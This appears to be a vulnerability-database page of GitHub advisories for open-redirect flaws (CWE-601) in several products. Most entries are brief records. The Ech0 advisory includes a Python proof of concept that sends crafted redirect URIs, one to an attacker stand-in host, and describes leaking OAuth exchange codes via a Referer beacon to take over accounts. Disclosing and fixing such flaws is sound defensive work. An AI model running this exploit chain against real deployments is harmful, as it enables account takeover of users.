CWE-601
AllowedURL Redirection to Untrusted Site ('Open Redirect')
Abstraction: Base · Status: Draft
The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.
2575 vulnerabilities reference this CWE, most recent first.
GHSA-P3Q7-769X-QQ9Q
Vulnerability from github – Published: 2022-05-13 01:28 – Updated: 2022-05-13 01:28An open redirect in the Ninja Forms plugin before 3.3.19.1 for WordPress allows Remote Attackers to redirect a user via the lib/StepProcessing/step-processing.php (aka submissions download page) redirect parameter.
{
"affected": [],
"aliases": [
"CVE-2018-19796"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-12-03T06:29:00Z",
"severity": "MODERATE"
},
"details": "An open redirect in the Ninja Forms plugin before 3.3.19.1 for WordPress allows Remote Attackers to redirect a user via the lib/StepProcessing/step-processing.php (aka submissions download page) redirect parameter.",
"id": "GHSA-p3q7-769x-qq9q",
"modified": "2022-05-13T01:28:01Z",
"published": "2022-05-13T01:28:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-19796"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/1982808/ninja-forms/trunk/lib/StepProcessing/step-processing.php"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/ninja-forms/#developers"
},
{
"type": "WEB",
"url": "https://wpvulndb.com/vulnerabilities/9154"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P44J-XRQG-4XRR
Vulnerability from github – Published: 2021-03-08 21:06 – Updated: 2024-10-21 19:59Impact
What kind of vulnerability is it? Who is impacted?
Open redirect vulnerability - a maliciously crafted link to the login form and login functionality could redirect the browser to a different website.
Patches
Has the problem been patched? What versions should users upgrade to?
The problem has been fixed in version 2.6.1. Depending on how you have installed Products.PluggableAuthService, you should change the buildout version pin to 2.6.1 and re-run the buildout, or if you used pip simply do pip install "Products.PluggableAuthService>=2.6.1"
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
There is no workaround. Users are encouraged to upgrade.
References
Are there any links users can visit to find out more?
For more information
If you have any questions or comments about this advisory: * Open an issue in the Products.PluggableAuthService issue tracker * Email us at security@plone.org
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Products.PluggableAuthService"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-21337"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2021-03-08T21:06:09Z",
"nvd_published_at": "2021-03-08T21:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nOpen redirect vulnerability - a maliciously crafted link to the login form and login functionality could redirect the browser to a different website.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nThe problem has been fixed in version 2.6.1. Depending on how you have installed Products.PluggableAuthService, you should change the buildout version pin to `2.6.1` and re-run the buildout, or if you used `pip` simply do `pip install \"Products.PluggableAuthService\u003e=2.6.1\"`\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nThere is no workaround. Users are encouraged to upgrade.\n\n### References\n_Are there any links users can visit to find out more?_\n\n- [GHSA-p44j-xrqg-4xrr](https://github.com/zopefoundation/Products.PluggableAuthService/security/advisories/GHSA-p44j-xrqg-4xrr)\n- [Products.PluggableAuthService on PyPI](https://pypi.org/project/Products.PluggableAuthService/)\n- [OWASP page on open redirects](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [Products.PluggableAuthService issue tracker](https://github.com/zopefoundation/Products.PluggableAuthService/issues)\n* Email us at [security@plone.org](mailto:security@plone.org)",
"id": "GHSA-p44j-xrqg-4xrr",
"modified": "2024-10-21T19:59:54Z",
"published": "2021-03-08T21:06:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/zopefoundation/Products.PluggableAuthService/security/advisories/GHSA-p44j-xrqg-4xrr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21337"
},
{
"type": "WEB",
"url": "https://github.com/zopefoundation/Products.PluggableAuthService/commit/7eead067898852ebd3e0f143bc51295928528dfa"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/products-pluggableauthservice/PYSEC-2021-45.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/zopefoundation/Products.PluggableAuthService"
},
{
"type": "WEB",
"url": "https://pypi.org/project/Products.PluggableAuthService"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/162911/Products.PluggableAuthService-2.6.0-Open-Redirect.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "URL Redirection to Untrusted Site (\u0027Open Redirect\u0027) in Products.PluggableAuthService"
}
GHSA-P47R-G523-CX3R
Vulnerability from github – Published: 2022-07-15 00:00 – Updated: 2022-07-21 00:00Best Practical Request Tracker (RT) before 5.0.3 has an Open Redirect via a ticket search.
{
"affected": [],
"aliases": [
"CVE-2022-25803"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-14T12:15:00Z",
"severity": "MODERATE"
},
"details": "Best Practical Request Tracker (RT) before 5.0.3 has an Open Redirect via a ticket search.",
"id": "GHSA-p47r-g523-cx3r",
"modified": "2022-07-21T00:00:35Z",
"published": "2022-07-15T00:00:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25803"
},
{
"type": "WEB",
"url": "https://docs.bestpractical.com/release-notes/rt/5.0.3"
},
{
"type": "WEB",
"url": "https://docs.bestpractical.com/release-notes/rt/index.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P4HM-HCQJ-M7G5
Vulnerability from github – Published: 2024-08-23 18:33 – Updated: 2024-08-23 18:33URL Redirection to Untrusted Site ('Open Redirect') vulnerability in OpenText™ Network Node Manager i (NNMi) allows URL Redirector Abuse.This issue affects Network Node Manager i (NNMi): 2022.11, 2023.05, 23.4, 24.2.
{
"affected": [],
"aliases": [
"CVE-2024-7428"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-23T17:15:10Z",
"severity": "MODERATE"
},
"details": "URL Redirection to Untrusted Site (\u0027Open Redirect\u0027) vulnerability in OpenText\u2122 Network Node Manager i (NNMi) allows URL Redirector Abuse.This issue affects Network Node Manager i (NNMi): 2022.11, 2023.05, 23.4, 24.2.",
"id": "GHSA-p4hm-hcqj-m7g5",
"modified": "2024-08-23T18:33:03Z",
"published": "2024-08-23T18:33:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7428"
},
{
"type": "WEB",
"url": "https://portal.microfocus.com/s/article/KM000033015?language=en_US"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:N/R:A/V:C/RE:L/U:Red",
"type": "CVSS_V4"
}
]
}
GHSA-P4JG-PM94-8PXC
Vulnerability from github – Published: 2024-08-19 18:32 – Updated: 2024-08-19 18:32URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Salon Booking System Salon booking system.This issue affects Salon booking system: from n/a through 10.8.1.
{
"affected": [],
"aliases": [
"CVE-2024-43280"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-19T18:15:12Z",
"severity": "MODERATE"
},
"details": "URL Redirection to Untrusted Site (\u0027Open Redirect\u0027) vulnerability in Salon Booking System Salon booking system.This issue affects Salon booking system: from n/a through 10.8.1.",
"id": "GHSA-p4jg-pm94-8pxc",
"modified": "2024-08-19T18:32:08Z",
"published": "2024-08-19T18:32:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43280"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/salon-booking-system/wordpress-salon-booking-system-plugin-10-8-1-open-redirection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P532-R78R-7WW3
Vulnerability from github – Published: 2024-01-15 18:30 – Updated: 2024-01-15 18:30Open Redirect vulnerability in FireEye HXTool affecting version 4.6, the exploitation of which could allow an attacker to redirect a legitimate user to a malicious page by changing the 'redirect_uri' parameter.
{
"affected": [],
"aliases": [
"CVE-2024-0319"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-15T17:15:09Z",
"severity": "MODERATE"
},
"details": "Open Redirect vulnerability in FireEye HXTool affecting version 4.6, the exploitation of which could allow an attacker to redirect a legitimate user to a malicious page by changing the \u0027redirect_uri\u0027 parameter.",
"id": "GHSA-p532-r78r-7ww3",
"modified": "2024-01-15T18:30:18Z",
"published": "2024-01-15T18:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0319"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-fireeye-products"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P546-7WHM-CXPM
Vulnerability from github – Published: 2026-02-18 21:31 – Updated: 2026-02-20 00:31An URL redirection vulnerability was identified in GitHub Enterprise Server that allowed attacker-controlled redirects to leak sensitive authorization tokens. The repository_pages API insecurely followed HTTP redirects when fetching artifact URLs, preserving the authorization header containing a privileged JWT. An authenticated user could redirect these requests to an attacker-controlled domain, exfiltrate the Actions.ManageOrgs JWT, and leverage it for potential remote code execution. Attackers would require access to the target GitHub Enterprise Server instance and the ability to exploit a legacy redirect to an attacker-controlled domain. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.19 and was fixed in versions 3.19.2, 3.18.4, 3.17.10, 3.16.13, 3.15.17, and 3.14.22. This vulnerability was reported via the GitHub Bug Bounty program.
{
"affected": [],
"aliases": [
"CVE-2026-0573"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-18T21:16:22Z",
"severity": "HIGH"
},
"details": "An URL redirection vulnerability was identified in GitHub Enterprise Server that allowed attacker-controlled redirects to leak sensitive authorization tokens. The repository_pages API insecurely followed HTTP redirects when fetching artifact URLs, preserving the authorization header containing a privileged JWT. An authenticated user could redirect these requests to an attacker-controlled domain, exfiltrate the Actions.ManageOrgs JWT, and leverage it for potential remote code execution. Attackers would require access to the target GitHub Enterprise Server instance and the ability to exploit a legacy redirect to an attacker-controlled domain. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.19 and was fixed in versions 3.19.2, 3.18.4, 3.17.10, 3.16.13, 3.15.17, and 3.14.22. This vulnerability was reported via the GitHub Bug Bounty program.",
"id": "GHSA-p546-7whm-cxpm",
"modified": "2026-02-20T00:31:52Z",
"published": "2026-02-18T21:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0573"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.14/admin/release-notes#3.14.22"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.15/admin/release-notes#3.15.17"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.16/admin/release-notes#3.16.13"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.17/admin/release-notes#3.17.10"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.18/admin/release-notes#3.18.4"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.19/admin/release-notes#3.19.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-P58G-V8G4-QRC3
Vulnerability from github – Published: 2022-05-13 01:04 – Updated: 2025-04-20 03:43Adobe Flash Player versions 26.0.0.137 and earlier have a security bypass vulnerability that leads to information disclosure when performing URL redirect.
{
"affected": [],
"aliases": [
"CVE-2017-3085"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-08-11T19:29:00Z",
"severity": "HIGH"
},
"details": "Adobe Flash Player versions 26.0.0.137 and earlier have a security bypass vulnerability that leads to information disclosure when performing URL redirect.",
"id": "GHSA-p58g-v8g4-qrc3",
"modified": "2025-04-20T03:43:05Z",
"published": "2022-05-13T01:04:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-3085"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:2457"
},
{
"type": "WEB",
"url": "https://blog.bjornweb.nl/2017/08/flash-remote-sandbox-escape-windows-user-credentials-leak"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/flash-player/apsb17-23.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201709-16"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/100191"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1039088"
},
{
"type": "WEB",
"url": "http://www.zerodayinitiative.com/advisories/ZDI-17-634"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P64J-F4X9-WQ66
Vulnerability from github – Published: 2026-05-07 21:30 – Updated: 2026-05-07 21:30Summary
parseAndValidateClientRedirect at internal/service/auth/auth.go:448 validates OAuth client-redirect URIs by comparing only scheme and host against the admin-configured allowlist. Path, query, and fragment are ignored. The initiator at /oauth/:provider/login embeds the caller-supplied redirect_uri verbatim into the signed state JWT without any validation at login time. Alice submits a crafted redirect_uri whose host matches an allowed origin but whose path points to any page on that host. After the provider exchange, Ech0 redirects the victim to the attacker-chosen path with the one-time exchange code in the query string. If the chosen path leaks the URL via Referer, analytics, or an open redirect, the attacker trades the code at POST /api/auth/exchange for the victim's access and refresh tokens. RFC 6749 §3.1.2 requires exact redirect URI matching.
Details
Validation at internal/service/auth/auth.go:448:
matched := false
for _, item := range allowed {
allowURL, parseErr := url.Parse(strings.TrimSpace(item))
if parseErr != nil || allowURL == nil || allowURL.Host == "" {
continue
}
if strings.EqualFold(redirectURL.Scheme, allowURL.Scheme) &&
strings.EqualFold(redirectURL.Host, allowURL.Host) {
matched = true
break
}
}
Scheme and host compared via EqualFold. Path, query, fragment all ignored. An allowlist entry of https://myecho.example.com/dashboard matches every https://myecho.example.com/<anything> the attacker sends.
Login flow at internal/service/auth/auth.go:141 (GetOAuthLoginURL) and the handler at internal/handler/auth/oauth.go:43:
redirectURI := ctx.Query("redirect_uri")
redirectURL, err := h.authService.GetOAuthLoginURL(provider, redirectURI)
// ...
ctx.Redirect(302, redirectURL)
No validation at login. The raw redirect_uri query parameter is passed to GetOAuthLoginURL, which encodes it into the signed state JWT alongside the provider name and nonce. The state JWT travels through the OAuth provider and returns on the callback.
At callback time, parseAndValidateClientRedirect(oauthState.Redirect) fires at internal/service/auth/auth.go:372 and :427 inside the callback handler chain. Scheme and host are the only gates on the attacker-chosen URI.
After validation, the server generates a one-time exchange code and redirects the browser to the attacker-chosen path:
302 Location: https://myecho.example.com/<attacker-path>?code=<one-time-exchange-code>
The code is valid at the public endpoint POST /api/auth/exchange for up to 60 seconds (single-use). An attacker who reads the code from the URL trades it for the victim's access token and refresh token.
Proof of Concept
Default install with OAuth2 configured. Admin allows https://myecho.example.com/dashboard as the return URL; Alice sends a crafted login link whose redirect points elsewhere on the same host:
import requests, urllib.parse, base64, json
TARGET = "http://localhost:8300"
# Admin setup: enable OAuth with one allowed return URL (dashboard).
owner = requests.post(f"{TARGET}/api/login",
json={"username": "owner", "password": "owner-pw"}
).json()["data"]["access_token"]
requests.put(f"{TARGET}/api/oauth2/settings",
headers={"Authorization": f"Bearer {owner}",
"content-type": "application/json"},
json={"enable": True, "provider": "github",
"client_id": "poc-client-id", "client_secret": "poc-client-secret",
"redirect_uri": f"{TARGET}/oauth/github/callback",
"scopes": ["read:user"],
"auth_url": "https://github.com/login/oauth/authorize",
"token_url": "https://github.com/login/oauth/access_token",
"user_info_url": "https://api.github.com/user",
"auth_redirect_allowed_return_urls": ["https://myecho.example.com/dashboard"]})
# Alice's link to the victim. Same host, different path.
for attacker_uri in [
"https://myecho.example.com/dashboard", # control, allowed
"https://myecho.example.com/attacker-chosen-path", # path bypass
"https://attacker.example/foo", # different host, should also fail
]:
url = f"{TARGET}/oauth/github/login?redirect_uri=" + urllib.parse.quote(attacker_uri)
r = requests.get(url, allow_redirects=False)
loc = r.headers.get("Location", "")
state_jwt = urllib.parse.parse_qs(urllib.parse.urlparse(loc).query).get("state", [""])[0]
pad = lambda s: s + "=" * (-len(s) % 4)
payload = json.loads(base64.urlsafe_b64decode(pad(state_jwt.split(".")[1])))
print(f" redirect_uri={attacker_uri!r}")
print(f" login HTTP: {r.status_code}")
print(f" state JWT redirect: {payload.get('redirect')!r}")
Observed on v4.5.6:
redirect_uri='https://myecho.example.com/dashboard'
login HTTP: 302
state JWT redirect: 'https://myecho.example.com/dashboard'
redirect_uri='https://myecho.example.com/attacker-chosen-path'
login HTTP: 302
state JWT redirect: 'https://myecho.example.com/attacker-chosen-path'
redirect_uri='https://attacker.example/foo'
login HTTP: 302
state JWT redirect: 'https://attacker.example/foo'
All three redirect_uri values sail through login with no validation; the state JWT carries the attacker-chosen URL verbatim. The first two pass the callback's scheme+host check against the dashboard allowlist entry and the server redirects to the attacker-chosen path with the exchange code appended. The third (different host) fails the callback's allowlist check, so it does not land; the point is that no validation occurs at login time, only at callback, and the callback check ignores path entirely.
Impact
Alice delivers a single link to Bob (phishing email, social-engineering message, embedded redirect in a compromised site). Bob clicks, completes OAuth as himself, and lands on the attacker-chosen path on the legitimate Ech0 host with ?code=<one-time> in the URL. Three paths to full account takeover follow:
- Referer leakage. A single
<img src="https://attacker.site/log">or<script src>on the attacker-chosen path sends the victim's full URL (including the code) to the attacker in the Referer header. - Analytics and third-party scripts. Any page on the allowlisted host that loads Google Analytics, Sentry, or Segment reports the URL (including the code) to those services. Any attacker with access to those accounts reads the code.
- Open-redirect chains. If any path on the allowlisted host has an open-redirect bug, the attacker targets it and bounces the URL (with the code) to their server.
The code is trade-in-able at POST /api/auth/exchange, which is public. The exchange returns the victim's access_token and refresh_token. Full account takeover follows.
Preconditions: Ech0's OAuth is configured (opt-in), one allowlisted host has any path that leaks URLs, and the attacker reaches the victim with a crafted link. RFC 6749 §3.1.2 exists precisely to prevent this chain.
Recommended Fix
Require exact redirect URI matching per the spec. Compare scheme, host, and path together:
redirectNorm := strings.ToLower(redirectURL.Scheme) + "://" +
strings.ToLower(redirectURL.Host) +
redirectURL.Path
for _, item := range allowed {
allowURL, parseErr := url.Parse(strings.TrimSpace(item))
if parseErr != nil || allowURL == nil || allowURL.Host == "" {
continue
}
allowNorm := strings.ToLower(allowURL.Scheme) + "://" +
strings.ToLower(allowURL.Host) +
allowURL.Path
if redirectNorm == allowNorm {
matched = true
break
}
}
Validate the redirect_uri at login time too, so a malformed value never enters the state JWT:
func (s *AuthService) GetOAuthLoginURL(provider, redirectURI string) (string, error) {
if redirectURI != "" {
if _, err := s.parseAndValidateClientRedirect(redirectURI); err != nil {
return "", err
}
}
// ... rest unchanged
}
Document the exact-match semantics in the admin panel. Every allowlisted return URL needs the full path the front-end lands on.
Found by aisafe.io
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lin-snow/Ech0"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.8-0.20260503040728-a7e8b8e84bd1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1173",
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T21:30:45Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`parseAndValidateClientRedirect` at `internal/service/auth/auth.go:448` validates OAuth client-redirect URIs by comparing only scheme and host against the admin-configured allowlist. Path, query, and fragment are ignored. The initiator at `/oauth/:provider/login` embeds the caller-supplied `redirect_uri` verbatim into the signed state JWT without any validation at login time. Alice submits a crafted `redirect_uri` whose host matches an allowed origin but whose path points to any page on that host. After the provider exchange, Ech0 redirects the victim to the attacker-chosen path with the one-time exchange code in the query string. If the chosen path leaks the URL via Referer, analytics, or an open redirect, the attacker trades the code at `POST /api/auth/exchange` for the victim\u0027s access and refresh tokens. RFC 6749 \u00a73.1.2 requires exact redirect URI matching.\n\n## Details\n\nValidation at `internal/service/auth/auth.go:448`:\n\n```go\nmatched := false\nfor _, item := range allowed {\n allowURL, parseErr := url.Parse(strings.TrimSpace(item))\n if parseErr != nil || allowURL == nil || allowURL.Host == \"\" {\n continue\n }\n if strings.EqualFold(redirectURL.Scheme, allowURL.Scheme) \u0026\u0026\n strings.EqualFold(redirectURL.Host, allowURL.Host) {\n matched = true\n break\n }\n}\n```\n\nScheme and host compared via `EqualFold`. Path, query, fragment all ignored. An allowlist entry of `https://myecho.example.com/dashboard` matches every `https://myecho.example.com/\u003canything\u003e` the attacker sends.\n\nLogin flow at `internal/service/auth/auth.go:141` (`GetOAuthLoginURL`) and the handler at `internal/handler/auth/oauth.go:43`:\n\n```go\nredirectURI := ctx.Query(\"redirect_uri\")\nredirectURL, err := h.authService.GetOAuthLoginURL(provider, redirectURI)\n// ...\nctx.Redirect(302, redirectURL)\n```\n\nNo validation at login. The raw `redirect_uri` query parameter is passed to `GetOAuthLoginURL`, which encodes it into the signed state JWT alongside the provider name and nonce. The state JWT travels through the OAuth provider and returns on the callback.\n\nAt callback time, `parseAndValidateClientRedirect(oauthState.Redirect)` fires at `internal/service/auth/auth.go:372` and `:427` inside the callback handler chain. Scheme and host are the only gates on the attacker-chosen URI.\n\nAfter validation, the server generates a one-time exchange code and redirects the browser to the attacker-chosen path:\n\n```\n302 Location: https://myecho.example.com/\u003cattacker-path\u003e?code=\u003cone-time-exchange-code\u003e\n```\n\nThe code is valid at the public endpoint `POST /api/auth/exchange` for up to 60 seconds (single-use). An attacker who reads the code from the URL trades it for the victim\u0027s access token and refresh token.\n\n## Proof of Concept\n\nDefault install with OAuth2 configured. Admin allows `https://myecho.example.com/dashboard` as the return URL; Alice sends a crafted login link whose redirect points elsewhere on the same host:\n\n```python\nimport requests, urllib.parse, base64, json\nTARGET = \"http://localhost:8300\"\n\n# Admin setup: enable OAuth with one allowed return URL (dashboard).\nowner = requests.post(f\"{TARGET}/api/login\",\n json={\"username\": \"owner\", \"password\": \"owner-pw\"}\n ).json()[\"data\"][\"access_token\"]\nrequests.put(f\"{TARGET}/api/oauth2/settings\",\n headers={\"Authorization\": f\"Bearer {owner}\",\n \"content-type\": \"application/json\"},\n json={\"enable\": True, \"provider\": \"github\",\n \"client_id\": \"poc-client-id\", \"client_secret\": \"poc-client-secret\",\n \"redirect_uri\": f\"{TARGET}/oauth/github/callback\",\n \"scopes\": [\"read:user\"],\n \"auth_url\": \"https://github.com/login/oauth/authorize\",\n \"token_url\": \"https://github.com/login/oauth/access_token\",\n \"user_info_url\": \"https://api.github.com/user\",\n \"auth_redirect_allowed_return_urls\": [\"https://myecho.example.com/dashboard\"]})\n\n# Alice\u0027s link to the victim. Same host, different path.\nfor attacker_uri in [\n \"https://myecho.example.com/dashboard\", # control, allowed\n \"https://myecho.example.com/attacker-chosen-path\", # path bypass\n \"https://attacker.example/foo\", # different host, should also fail\n]:\n url = f\"{TARGET}/oauth/github/login?redirect_uri=\" + urllib.parse.quote(attacker_uri)\n r = requests.get(url, allow_redirects=False)\n loc = r.headers.get(\"Location\", \"\")\n state_jwt = urllib.parse.parse_qs(urllib.parse.urlparse(loc).query).get(\"state\", [\"\"])[0]\n pad = lambda s: s + \"=\" * (-len(s) % 4)\n payload = json.loads(base64.urlsafe_b64decode(pad(state_jwt.split(\".\")[1])))\n print(f\" redirect_uri={attacker_uri!r}\")\n print(f\" login HTTP: {r.status_code}\")\n print(f\" state JWT redirect: {payload.get(\u0027redirect\u0027)!r}\")\n```\n\nObserved on v4.5.6:\n\n```\nredirect_uri=\u0027https://myecho.example.com/dashboard\u0027\n login HTTP: 302\n state JWT redirect: \u0027https://myecho.example.com/dashboard\u0027\nredirect_uri=\u0027https://myecho.example.com/attacker-chosen-path\u0027\n login HTTP: 302\n state JWT redirect: \u0027https://myecho.example.com/attacker-chosen-path\u0027\nredirect_uri=\u0027https://attacker.example/foo\u0027\n login HTTP: 302\n state JWT redirect: \u0027https://attacker.example/foo\u0027\n```\n\nAll three `redirect_uri` values sail through login with no validation; the state JWT carries the attacker-chosen URL verbatim. The first two pass the callback\u0027s scheme+host check against the `dashboard` allowlist entry and the server redirects to the attacker-chosen path with the exchange code appended. The third (different host) fails the callback\u0027s allowlist check, so it does not land; the point is that no validation occurs at login time, only at callback, and the callback check ignores path entirely.\n\n## Impact\n\nAlice delivers a single link to Bob (phishing email, social-engineering message, embedded redirect in a compromised site). Bob clicks, completes OAuth as himself, and lands on the attacker-chosen path on the legitimate Ech0 host with `?code=\u003cone-time\u003e` in the URL. Three paths to full account takeover follow:\n\n- **Referer leakage.** A single `\u003cimg src=\"https://attacker.site/log\"\u003e` or `\u003cscript src\u003e` on the attacker-chosen path sends the victim\u0027s full URL (including the code) to the attacker in the Referer header.\n- **Analytics and third-party scripts.** Any page on the allowlisted host that loads Google Analytics, Sentry, or Segment reports the URL (including the code) to those services. Any attacker with access to those accounts reads the code.\n- **Open-redirect chains.** If any path on the allowlisted host has an open-redirect bug, the attacker targets it and bounces the URL (with the code) to their server.\n\nThe code is trade-in-able at `POST /api/auth/exchange`, which is public. The exchange returns the victim\u0027s access_token and refresh_token. Full account takeover follows.\n\nPreconditions: Ech0\u0027s OAuth is configured (opt-in), one allowlisted host has any path that leaks URLs, and the attacker reaches the victim with a crafted link. RFC 6749 \u00a73.1.2 exists precisely to prevent this chain.\n\n## Recommended Fix\n\nRequire exact redirect URI matching per the spec. Compare scheme, host, and path together:\n\n```go\nredirectNorm := strings.ToLower(redirectURL.Scheme) + \"://\" +\n strings.ToLower(redirectURL.Host) +\n redirectURL.Path\nfor _, item := range allowed {\n allowURL, parseErr := url.Parse(strings.TrimSpace(item))\n if parseErr != nil || allowURL == nil || allowURL.Host == \"\" {\n continue\n }\n allowNorm := strings.ToLower(allowURL.Scheme) + \"://\" +\n strings.ToLower(allowURL.Host) +\n allowURL.Path\n if redirectNorm == allowNorm {\n matched = true\n break\n }\n}\n```\n\nValidate the `redirect_uri` at login time too, so a malformed value never enters the state JWT:\n\n```go\nfunc (s *AuthService) GetOAuthLoginURL(provider, redirectURI string) (string, error) {\n if redirectURI != \"\" {\n if _, err := s.parseAndValidateClientRedirect(redirectURI); err != nil {\n return \"\", err\n }\n }\n // ... rest unchanged\n}\n```\n\nDocument the exact-match semantics in the admin panel. Every allowlisted return URL needs the full path the front-end lands on.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-p64j-f4x9-wq66",
"modified": "2026-05-07T21:30:45Z",
"published": "2026-05-07T21:30:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-p64j-f4x9-wq66"
},
{
"type": "WEB",
"url": "https://github.com/lin-snow/Ech0/commit/a7e8b8e84bd1e3db090dfb720f2c6c433356b442"
},
{
"type": "PACKAGE",
"url": "https://github.com/lin-snow/Ech0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
